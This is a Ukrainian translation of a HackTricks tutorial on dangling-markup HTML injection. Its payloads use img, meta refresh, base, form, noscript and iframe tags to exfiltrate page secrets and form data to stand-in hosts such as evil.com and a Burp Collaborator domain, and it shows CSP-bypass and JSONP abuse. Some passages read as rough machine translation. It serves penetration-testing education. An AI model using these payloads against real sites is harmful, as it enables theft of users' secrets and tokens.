Dangling Markup - HTML scriptless injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Резюме

Ця техніка може бути використана для витягування інформації від користувача, коли знайдена HTML ін'єкція. Це дуже корисно, якщо ви не знаходите способу експлуатації XSS, але ви можете впровадити деякі HTML теги. Це також корисно, якщо деякий секрет зберігається у відкритому вигляді в HTML і ви хочете його ексфільтрувати з клієнта, або якщо ви хочете збити з пантелику виконання деякого скрипту.

Декілька технік, які тут коментуються, можуть бути використані для обхіду деяких Політик безпеки вмісту шляхом ексфільтрації інформації несподіваними способами (html теги, CSS, http-meta теги, форми, base...).

Основні Застосування

Викрадення секретів у відкритому вигляді

Якщо ви впроваджуєте <img src='http://evil.com/log.cgi?, коли сторінка завантажується, жертва надішле вам весь код між впровадженим тегом img та наступною лапкою всередині коду. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те саме, використовуючи подвійну лапку, подивіться, яка може бути цікавішою для використання).

Якщо тег img заборонений (наприклад, через CSP), ви також можете використовувати <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Зверніть увагу, що Chrome блокує HTTP URL-адреси з "<" або "\n" у них, тому ви можете спробувати інші схеми протоколу, наприклад "ftp".

Ви також можете зловживати CSS @import (відправить увесь код до того, як він знайде ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Ви також можете використовувати <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Ви також можете вставити тег <base. Усю інформацію буде відправлено до закриття лапок, але це вимагає деякої взаємодії з користувачем (користувач повинен клацнути по якому-небудь посиланню, оскільки тег base змінить домен, на який вказує посилання):

<base target='        <--- Injected
steal me'<b>test</b>

Викрадення форм

<base href='http://evil.com/'>

Потім форми, які надсилають дані за шляхом (наприклад, <form action='update_profile.php'>), надсилатимуть дані на зловмисний домен.

Викрадення форм 2

Встановіть заголовок форми: <form action='http://evil.com/log_steal'> це перезапише наступний заголовок форми, і всі дані з форми будуть надіслані зловмиснику.

Викрадення форм 3

Кнопка може змінити URL, куди будуть надіслані дані форми, за допомогою атрибута "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Злоумисник може використати це для крадіжки інформації.

Знайдіть приклад цього нападу в цьому описі.

Крадіжка секретів у відкритому тексті 2

Використовуючи останню згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення:

<input type='hidden' name='review_body' value="

і це поле введення буде містити весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Цей атака поєднує "Викрадення секретів у відкритому тексті" з "Викраденням форм2".

Ви можете зробити те саме, впроваджуючи форму та тег <option>. Усі дані до закритого </option> будуть відправлені:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Впорядкований вплив параметрів

Ви можете змінити шлях форми та вставити нові значення, щоб виконувалася неочікувана дія:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Викрадення секретів у відкритому вигляді через noscript

<noscript></noscript> - це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує JavaScript (ви можете увімкнути / вимкнути JavaScript у Chrome в chrome://settings/content/javascript).

Спосіб виведення вмісту веб-сторінки від точки впровадження до низу на сайт, керований зловмисником, буде впровадження наступного:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Обхід CSP за допомогою взаємодії з користувачем

З цього дослідження портсвігерів ви можете дізнатися, що навіть в найбільш обмежених CSP середовищах ви все ще можете ексфільтрувати дані за допомогою взаємодії з користувачем. У цьому випадку ми будемо використовувати полезний навантаження:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Зверніть увагу, що ви попросите жертву клацнути по посиланню, яке перенаправить його на вантаж, котрим ви керуєте. Також зверніть увагу, що атрибут target всередині тегу base буде містити HTML вміст до наступної одинарної лапки. Це зробить так, що значення window.name після кліку по посиланню буде містити весь цей HTML вміст. Тому, оскільки ви керуєте сторінкою, на яку звертається жертва, клікнувши по посиланню, ви можете отримати доступ до window.name та ексфільтрувати ці дані:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Помилковий сценарій роботи скрипта 1 - Атака на простір імен HTML

Вставте новий тег з ідентифікатором всередині HTML, який перезапише наступний тег і зі значенням, яке вплине на хід виконання скрипта. У цьому прикладі ви вибираєте, з ким буде поділена інформація:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Плутливий скриптовий робочий процес 2 - Атака на простір імен скрипта

Створіть змінні всередині простору імен JavaScript, вставивши HTML-теги. Потім ця змінна вплине на хід роботи додатка:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Зловживання JSONP

Якщо ви знайдете інтерфейс JSONP, ви зможете викликати довільну функцію з довільними даними:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Або ви можете спробувати виконати деякий javascript:

<script src='/search?q=a&call=alert(1)'></script>

Зловживання Iframe

Дочірній документ має можливість переглядати та змінювати властивість location свого батька, навіть в ситуаціях між доменами. Це дозволяє вбудовувати скрипт в iframe, який може перенаправити клієнта на довільну сторінку:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Це можна пом'якшити, використавши щось на зразок: sandbox=' allow-scripts allow-top-navigation'

Також iframe можна використовувати для витоку чутливої інформації з іншої сторінки з використанням атрибуту імені iframe. Це тому, що можна створити iframe, який вбирає сам себе, зловживаючи HTML-ін'єкцією, яка робить чутливу інформацію видимою всередині атрибуту імені iframe, а потім отримати доступ до цього імені з початкового iframe та витікти її.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Для отримання додаткової інформації перегляньте https://portswigger.net/research/bypassing-csp-with-dangling-iframes

Зловживання тегом <meta

Ви можете використовувати meta http-equiv для виконання кількох дій, таких як встановлення Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> або перенаправлення (через 5 секунд у цьому випадку): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Цього можна уникнути за допомогою CSP щодо http-equiv (Content-Security-Policy: default-src 'self';, або Content-Security-Policy: http-equiv 'self';)

Новий тег HTML <portal

Ви можете знайти дуже цікаві дослідження щодо вразливостей тегу <portal тут. На момент написання цього тексту вам потрібно активувати тег порталу в Chrome за адресою chrome://flags/#enable-portals, інакше він не буде працювати.

<portal src='https://attacker-server?

Витоки HTML

Не всі способи витоку зв'язку в HTML будуть корисні для Dangling Markup, але іноді це може допомогти. Перевірте їх тут: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Це поєднання між dangling markup та XS-Leaks. З одного боку, уразливість дозволяє впроваджувати HTML (але не JS) на сторінці того ж походження, як і та, яку ми будемо атакувати. З іншого боку, ми не будемо атакувати безпосередньо сторінку, де ми можемо впроваджувати HTML, але іншу сторінку.

pageSS-Leaks

XS-Search/XS-Leaks

XS-Search орієнтовані на ексфільтрацію інформації між походженнями, зловживаючи атаками бічного каналу. Тому це відмінна техніка від Dangling Markup, однак деякі з технік використовують включення тегів HTML (з виконанням та без нього), такі як Впровадження CSS або Ліниве завантаження зображень.

pageXS-Search/XS-Leaks

Список виявлення перебору

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated